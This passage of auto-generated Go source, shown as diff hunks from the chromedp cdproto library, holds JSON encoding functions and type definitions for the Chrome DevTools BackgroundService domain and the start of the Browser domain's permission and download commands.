easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice2(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SetRecordingParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice2(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice3(in *jlexer.Lexer, out *EventRecordingStateChanged) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "isRecording":
|
||||
out.IsRecording = bool(in.Bool())
|
||||
case "service":
|
||||
(out.Service).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice3(out *jwriter.Writer, in EventRecordingStateChanged) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"isRecording\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.Bool(bool(in.IsRecording))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"service\":"
|
||||
out.RawString(prefix)
|
||||
(in.Service).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventRecordingStateChanged) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice3(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventRecordingStateChanged) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice3(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventRecordingStateChanged) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice3(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventRecordingStateChanged) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice3(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice4(in *jlexer.Lexer, out *EventMetadata) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "key":
|
||||
out.Key = string(in.String())
|
||||
case "value":
|
||||
out.Value = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice4(out *jwriter.Writer, in EventMetadata) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"key\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.Key))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"value\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Value))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventMetadata) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice4(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventMetadata) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice4(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventMetadata) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice4(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventMetadata) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice4(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice5(in *jlexer.Lexer, out *EventBackgroundServiceEventReceived) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "backgroundServiceEvent":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.BackgroundServiceEvent = nil
|
||||
} else {
|
||||
if out.BackgroundServiceEvent == nil {
|
||||
out.BackgroundServiceEvent = new(Event)
|
||||
}
|
||||
(*out.BackgroundServiceEvent).UnmarshalEasyJSON(in)
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice5(out *jwriter.Writer, in EventBackgroundServiceEventReceived) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"backgroundServiceEvent\":"
|
||||
out.RawString(prefix[1:])
|
||||
if in.BackgroundServiceEvent == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*in.BackgroundServiceEvent).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventBackgroundServiceEventReceived) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice5(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventBackgroundServiceEventReceived) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice5(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventBackgroundServiceEventReceived) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice5(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventBackgroundServiceEventReceived) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice5(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice6(in *jlexer.Lexer, out *Event) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "timestamp":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.Timestamp = nil
|
||||
} else {
|
||||
if out.Timestamp == nil {
|
||||
out.Timestamp = new(cdp.TimeSinceEpoch)
|
||||
}
|
||||
(*out.Timestamp).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "origin":
|
||||
out.Origin = string(in.String())
|
||||
case "serviceWorkerRegistrationId":
|
||||
out.ServiceWorkerRegistrationID = serviceworker.RegistrationID(in.String())
|
||||
case "service":
|
||||
(out.Service).UnmarshalEasyJSON(in)
|
||||
case "eventName":
|
||||
out.EventName = string(in.String())
|
||||
case "instanceId":
|
||||
out.InstanceID = string(in.String())
|
||||
case "eventMetadata":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.EventMetadata = nil
|
||||
} else {
|
||||
in.Delim('[')
|
||||
if out.EventMetadata == nil {
|
||||
if !in.IsDelim(']') {
|
||||
out.EventMetadata = make([]*EventMetadata, 0, 8)
|
||||
} else {
|
||||
out.EventMetadata = []*EventMetadata{}
|
||||
}
|
||||
} else {
|
||||
out.EventMetadata = (out.EventMetadata)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v1 *EventMetadata
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
v1 = nil
|
||||
} else {
|
||||
if v1 == nil {
|
||||
v1 = new(EventMetadata)
|
||||
}
|
||||
(*v1).UnmarshalEasyJSON(in)
|
||||
}
|
||||
out.EventMetadata = append(out.EventMetadata, v1)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice6(out *jwriter.Writer, in Event) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"timestamp\":"
|
||||
out.RawString(prefix[1:])
|
||||
if in.Timestamp == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*in.Timestamp).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"origin\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Origin))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"serviceWorkerRegistrationId\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.ServiceWorkerRegistrationID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"service\":"
|
||||
out.RawString(prefix)
|
||||
(in.Service).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"eventName\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.EventName))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"instanceId\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.InstanceID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"eventMetadata\":"
|
||||
out.RawString(prefix)
|
||||
if in.EventMetadata == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
out.RawByte('[')
|
||||
for v2, v3 := range in.EventMetadata {
|
||||
if v2 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
if v3 == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*v3).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v Event) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice6(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v Event) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice6(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *Event) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice6(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *Event) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice6(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice7(in *jlexer.Lexer, out *ClearEventsParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "service":
|
||||
(out.Service).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice7(out *jwriter.Writer, in ClearEventsParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"service\":"
|
||||
out.RawString(prefix[1:])
|
||||
(in.Service).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v ClearEventsParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice7(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v ClearEventsParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice7(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *ClearEventsParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice7(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *ClearEventsParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice7(l, v)
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
package backgroundservice
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// EventRecordingStateChanged called when the recording state for the service
|
||||
// has been updated.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#event-recordingStateChanged
|
||||
type EventRecordingStateChanged struct {
|
||||
IsRecording bool `json:"isRecording"`
|
||||
Service ServiceName `json:"service"`
|
||||
}
|
||||
|
||||
// EventBackgroundServiceEventReceived called with all existing
|
||||
// backgroundServiceEvents when enabled, and all new events afterwards if
|
||||
// enabled and recording.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#event-backgroundServiceEventReceived
|
||||
type EventBackgroundServiceEventReceived struct {
|
||||
BackgroundServiceEvent *Event `json:"backgroundServiceEvent"`
|
||||
}
|
||||
+93
@@ -0,0 +1,93 @@
|
||||
package backgroundservice
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/serviceworker"
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// ServiceName the Background Service that will be associated with the
|
||||
// commands/events. Every Background Service operates independently, but they
|
||||
// share the same API.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#type-ServiceName
|
||||
type ServiceName string
|
||||
|
||||
// String returns the ServiceName as string value.
|
||||
func (t ServiceName) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// ServiceName values.
|
||||
const (
|
||||
ServiceNameBackgroundFetch ServiceName = "backgroundFetch"
|
||||
ServiceNameBackgroundSync ServiceName = "backgroundSync"
|
||||
ServiceNamePushMessaging ServiceName = "pushMessaging"
|
||||
ServiceNameNotifications ServiceName = "notifications"
|
||||
ServiceNamePaymentHandler ServiceName = "paymentHandler"
|
||||
ServiceNamePeriodicBackgroundSync ServiceName = "periodicBackgroundSync"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t ServiceName) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t ServiceName) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ServiceName) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ServiceName(in.String()) {
|
||||
case ServiceNameBackgroundFetch:
|
||||
*t = ServiceNameBackgroundFetch
|
||||
case ServiceNameBackgroundSync:
|
||||
*t = ServiceNameBackgroundSync
|
||||
case ServiceNamePushMessaging:
|
||||
*t = ServiceNamePushMessaging
|
||||
case ServiceNameNotifications:
|
||||
*t = ServiceNameNotifications
|
||||
case ServiceNamePaymentHandler:
|
||||
*t = ServiceNamePaymentHandler
|
||||
case ServiceNamePeriodicBackgroundSync:
|
||||
*t = ServiceNamePeriodicBackgroundSync
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ServiceName value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *ServiceName) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// EventMetadata a key-value pair for additional event information to pass
|
||||
// along.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#type-EventMetadata
|
||||
type EventMetadata struct {
|
||||
Key string `json:"key"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// Event [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#type-BackgroundServiceEvent
|
||||
type Event struct {
|
||||
Timestamp *cdp.TimeSinceEpoch `json:"timestamp"` // Timestamp of the event (in seconds).
|
||||
Origin string `json:"origin"` // The origin this event belongs to.
|
||||
ServiceWorkerRegistrationID serviceworker.RegistrationID `json:"serviceWorkerRegistrationId"` // The Service Worker ID that initiated the event.
|
||||
Service ServiceName `json:"service"` // The Background Service this event belongs to.
|
||||
EventName string `json:"eventName"` // A description of the event.
|
||||
InstanceID string `json:"instanceId"` // An identifier that groups related events together.
|
||||
EventMetadata []*EventMetadata `json:"eventMetadata"` // A list of event-specific information.
|
||||
}
|
||||
+601
@@ -0,0 +1,601 @@
|
||||
// Package browser provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the Browser domain.
|
||||
//
|
||||
// The Browser domain defines methods and events for browser managing.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package browser
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/target"
|
||||
)
|
||||
|
||||
// SetPermissionParams set permission settings for given origin.
|
||||
type SetPermissionParams struct {
|
||||
Permission *PermissionDescriptor `json:"permission"` // Descriptor of permission to override.
|
||||
Setting PermissionSetting `json:"setting"` // Setting of the permission.
|
||||
Origin string `json:"origin,omitempty"` // Origin the permission applies to, all origins if not specified.
|
||||
BrowserContextID cdp.BrowserContextID `json:"browserContextId,omitempty"` // Context to override. When omitted, default browser context is used.
|
||||
}
|
||||
|
||||
// SetPermission set permission settings for given origin.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-setPermission
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// permission - Descriptor of permission to override.
|
||||
// setting - Setting of the permission.
|
||||
func SetPermission(permission *PermissionDescriptor, setting PermissionSetting) *SetPermissionParams {
|
||||
return &SetPermissionParams{
|
||||
Permission: permission,
|
||||
Setting: setting,
|
||||
}
|
||||
}
|
||||
|
||||
// WithOrigin origin the permission applies to, all origins if not specified.
|
||||
func (p SetPermissionParams) WithOrigin(origin string) *SetPermissionParams {
|
||||
p.Origin = origin
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithBrowserContextID context to override. When omitted, default browser
|
||||
// context is used.
|
||||
func (p SetPermissionParams) WithBrowserContextID(browserContextID cdp.BrowserContextID) *SetPermissionParams {
|
||||
p.BrowserContextID = browserContextID
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes Browser.setPermission against the provided context.
|
||||
func (p *SetPermissionParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetPermission, p, nil)
|
||||
}
|
||||
|
||||
// GrantPermissionsParams grant specific permissions to the given origin and
|
||||
// reject all others.
|
||||
type GrantPermissionsParams struct {
|
||||
Permissions []PermissionType `json:"permissions"`
|
||||
Origin string `json:"origin,omitempty"` // Origin the permission applies to, all origins if not specified.
|
||||
BrowserContextID cdp.BrowserContextID `json:"browserContextId,omitempty"` // BrowserContext to override permissions. When omitted, default browser context is used.
|
||||
}
|
||||
|
||||
// GrantPermissions grant specific permissions to the given origin and reject
|
||||
// all others.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-grantPermissions
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// permissions
|
||||
func GrantPermissions(permissions []PermissionType) *GrantPermissionsParams {
|
||||
return &GrantPermissionsParams{
|
||||
Permissions: permissions,
|
||||
}
|
||||
}
|
||||
|
||||
// WithOrigin origin the permission applies to, all origins if not specified.
|
||||
func (p GrantPermissionsParams) WithOrigin(origin string) *GrantPermissionsParams {
|
||||
p.Origin = origin
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithBrowserContextID browserContext to override permissions. When omitted,
|
||||
// default browser context is used.
|
||||
func (p GrantPermissionsParams) WithBrowserContextID(browserContextID cdp.BrowserContextID) *GrantPermissionsParams {
|
||||
p.BrowserContextID = browserContextID
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes Browser.grantPermissions against the provided context.
|
||||
func (p *GrantPermissionsParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandGrantPermissions, p, nil)
|
||||
}
|
||||
|
||||
// ResetPermissionsParams reset all permission management for all origins.
|
||||
type ResetPermissionsParams struct {
|
||||
BrowserContextID cdp.BrowserContextID `json:"browserContextId,omitempty"` // BrowserContext to reset permissions. When omitted, default browser context is used.
|
||||
}
|
||||
|
||||
// ResetPermissions reset all permission management for all origins.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-resetPermissions
|
||||
//
|
||||
// parameters:
|
||||
func ResetPermissions() *ResetPermissionsParams {
|
||||
return &ResetPermissionsParams{}
|
||||
}
|
||||
|
||||
// WithBrowserContextID browserContext to reset permissions. When omitted,
|
||||
// default browser context is used.
|
||||
func (p ResetPermissionsParams) WithBrowserContextID(browserContextID cdp.BrowserContextID) *ResetPermissionsParams {
|
||||
p.BrowserContextID = browserContextID
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes Browser.resetPermissions against the provided context.
|
||||
func (p *ResetPermissionsParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandResetPermissions, p, nil)
|
||||
}
|
||||
|
||||
// SetDownloadBehaviorParams set the behavior when downloading a file.
|
||||
type SetDownloadBehaviorParams struct {
|
||||
Behavior SetDownloadBehaviorBehavior `json:"behavior"` // Whether to allow all or deny all download requests, or use default Chrome behavior if available (otherwise deny). |allowAndName| allows download and names files according to their dowmload guids.
|
||||
BrowserContextID cdp.BrowserContextID `json:"browserContextId,omitempty"` // BrowserContext to set download behavior. When omitted, default browser context is used.
|
||||
DownloadPath string `json:"downloadPath,omitempty"` // The default path to save downloaded files to. This is required if behavior is set to 'allow' or 'allowAndName'.
|
||||
EventsEnabled bool `json:"eventsEnabled,omitempty"` // Whether to emit download events (defaults to false).
|
||||
}
|
||||
|
||||
// SetDownloadBehavior set the behavior when downloading a file.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-setDownloadBehavior
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// behavior - Whether to allow all or deny all download requests, or use default Chrome behavior if available (otherwise deny). |allowAndName| allows download and names files according to their dowmload guids.
|
||||
func SetDownloadBehavior(behavior SetDownloadBehaviorBehavior) *SetDownloadBehaviorParams {
|
||||
return &SetDownloadBehaviorParams{
|
||||
Behavior: behavior,
|
||||
}
|
||||
}
|
||||
|
||||
// WithBrowserContextID browserContext to set download behavior. When
|
||||
// omitted, default browser context is used.
|
||||
func (p SetDownloadBehaviorParams) WithBrowserContextID(browserContextID cdp.BrowserContextID) *SetDownloadBehaviorParams {
|
||||
p.BrowserContextID = browserContextID
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithDownloadPath the default path to save downloaded files to. This is
|
||||
// required if behavior is set to 'allow' or 'allowAndName'.
|
||||
func (p SetDownloadBehaviorParams) WithDownloadPath(downloadPath string) *SetDownloadBehaviorParams {
|
||||
p.DownloadPath = downloadPath
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithEventsEnabled whether to emit download events (defaults to false).
|
||||
func (p SetDownloadBehaviorParams) WithEventsEnabled(eventsEnabled bool) *SetDownloadBehaviorParams {
|
||||
p.EventsEnabled = eventsEnabled
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes Browser.setDownloadBehavior against the provided context.
|
||||
func (p *SetDownloadBehaviorParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetDownloadBehavior, p, nil)
|
||||
}
|
||||
|
||||
// CancelDownloadParams cancel a download if in progress.
|
||||
type CancelDownloadParams struct {
|
||||
GUID string `json:"guid"` // Global unique identifier of the download.
|
||||
BrowserContextID cdp.BrowserContextID `json:"browserContextId,omitempty"` // BrowserContext to perform the action in. When omitted, default browser context is used.
|
||||
}
|
||||
|
||||
// CancelDownload cancel a download if in progress.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-cancelDownload
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// guid - Global unique identifier of the download.
|
||||
func CancelDownload(guid string) *CancelDownloadParams {
|
||||
return &CancelDownloadParams{
|
||||
GUID: guid,
|
||||
}
|
||||
}
|
||||
|
||||
// WithBrowserContextID browserContext to perform the action in. When
|
||||
// omitted, default browser context is used.
|
||||
func (p CancelDownloadParams) WithBrowserContextID(browserContextID cdp.BrowserContextID) *CancelDownloadParams {
|
||||
p.BrowserContextID = browserContextID
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes Browser.cancelDownload against the provided context.
|
||||
func (p *CancelDownloadParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandCancelDownload, p, nil)
|
||||
}
|
||||
|
||||
// CloseParams close browser gracefully.
|
||||
type CloseParams struct{}
|
||||
|
||||
// Close close browser gracefully.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-close
|
||||
func Close() *CloseParams {
|
||||
return &CloseParams{}
|
||||
}
|
||||
|
||||
